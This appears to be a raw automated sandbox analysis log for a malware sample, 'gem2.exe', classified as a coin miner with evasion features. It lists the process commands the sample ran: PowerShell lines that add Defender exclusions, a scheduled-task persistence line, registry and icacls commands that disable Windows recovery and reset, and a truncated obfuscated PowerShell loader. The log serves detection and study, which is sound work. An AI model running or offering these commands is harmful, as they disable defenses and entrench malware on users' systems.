Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1657C30	17_2_00007FF7D1657C30
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1685C18	17_2_00007FF7D1685C18
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1645CEC	17_2_00007FF7D1645CEC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1663CDC	17_2_00007FF7D1663CDC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168DB60	17_2_00007FF7D168DB60
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1678B58	17_2_00007FF7D1678B58
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165BB28	17_2_00007FF7D165BB28
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1662BFC	17_2_00007FF7D1662BFC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168CBD8	17_2_00007FF7D168CBD8
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1680BAC	17_2_00007FF7D1680BAC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165AE84	17_2_00007FF7D165AE84
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1651E6C	17_2_00007FF7D1651E6C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168AE28	17_2_00007FF7D168AE28
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1686F10	17_2_00007FF7D1686F10
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1675EEC	17_2_00007FF7D1675EEC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1690EC0	17_2_00007FF7D1690EC0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165ED18	17_2_00007FF7D165ED18
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1658E10	17_2_00007FF7D1658E10
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1676DD0	17_2_00007FF7D1676DD0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1667D98	17_2_00007FF7D1667D98
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1675088	17_2_00007FF7D1675088
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1649077	17_2_00007FF7D1649077
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168F070	17_2_00007FF7D168F070
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1679064	17_2_00007FF7D1679064
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D164F01C	17_2_00007FF7D164F01C
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1685104	17_2_00007FF7D1685104
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D165D0DC	17_2_00007FF7D165D0DC
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168B0A4	17_2_00007FF7D168B0A4
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D167AF90	17_2_00007FF7D167AF90
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168CBD8	17_2_00007FF7D168CBD8
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1668FC7	17_2_00007FF7D1668FC7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86DD58	31_2_00007FFAAC86DD58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86F63E	31_2_00007FFAAC86F63E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86DCE5	31_2_00007FFAAC86DCE5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86F659	31_2_00007FFAAC86F659
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86FDE9	31_2_00007FFAAC86FDE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC86E329	31_2_00007FFAAC86E329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAACAE96B9	31_2_00007FFAACAE96B9

Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0164A70 appears 478 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D019E230 appears 37 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D019E2A0 appears 83 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0164B60 appears 330 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0184EB0 appears 39 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D01A3D10 appears 31 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0164BB0 appears 52 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D01946D0 appears 45 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0164D20 appears 44 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000173D0184D90 appears 42 times
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: String function: 00007FF6A54AC610 appears 42 times
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: String function: 00007FF7D163C610 appears 42 times

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f

Source: unknown

Process created: Commandline size = 5526

Source: classification engine

Classification label: mal100.evad.mine.winEXE@73/18@7/8

Source: C:\Windows\System32\svchost.exe

Code function: 16_2_00000173CFC0A920 GetDiskFreeSpaceExW,_invalid_parameter_noinfo_noreturn,

16_2_00000173CFC0A920

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Code function: 17_2_00007FF7D1637ED0 CreateToolhelp32Snapshot,Process32FirstW,Concurrency::details::WorkQueue::IsStructuredEmpty,Concurrency::details::WorkQueue::IsStructuredEmpty,CloseHandle,Process32NextW,CloseHandle,

17_2_00007FF7D1637ED0

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 25_2_004011AD SysAllocString,SysAllocString,SysAllocString,SysAllocString,SysAllocString,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,CoUninitialize,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,

25_2_004011AD

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 25_2_004017A5 FindResourceA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

25_2_004017A5

Source: C:\Users\user\Desktop\gem2.exe

File created: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Jump to behavior

Source: C:\Users\user\Desktop\gem2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\cGFzdGVzbmFwM[1].txt

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\f4855f59e0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5368:120:WilError_03
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\e788d6624a
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Users\user\Desktop\gem2.exe

File created: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Jump to behavior

Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: gem2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\gem2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: gem2.exe	ReversingLabs: Detection: 52%
Source: gem2.exe	Virustotal: Detection: 62%

Source: C:\Users\user\Desktop\gem2.exe

File read: C:\Users\user\Desktop\gem2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\gem2.exe "C:\Users\user\Desktop\gem2.exe"
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\System-f4855f59e0.exe C:\Windows\System32\System-f4855f59e0.exe
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe "C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg -change standby-timeout-ac 0
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg -change monitor-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /setactive SCHEME_CURRENT
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reagentc /disable
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ReAgentc.exe reagentc /disable
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe "C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C takeown /f C:\Windows\System32\reagentc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\takeown.exe takeown /f C:\Windows\System32\reagentc.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d5abccfd-b418-4ad6-92a2-7793c4b25dc9}
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe "C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org
Source: C:\Windows\System32\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg -change standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg -change monitor-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /setactive SCHEME_CURRENT	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reagentc /disable	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C takeown /f C:\Windows\System32\reagentc.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C icacls C:\Windows\System32\reagentc.exe /grant administrators:F	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get serialnumber	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ReAgentc.exe reagentc /disable	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d5abccfd-b418-4ad6-92a2-7793c4b25dc9}	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableReset /t REG_DWORD /d 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery\Configuration" /v REEnable /t REG_DWORD /d 0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\takeown.exe takeown /f C:\Windows\System32\reagentc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /grant administrators:F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /deny Everyone:(X)

Source: C:\Users\user\Desktop\gem2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Section loaded: gpapi.dll	Jump to behavior
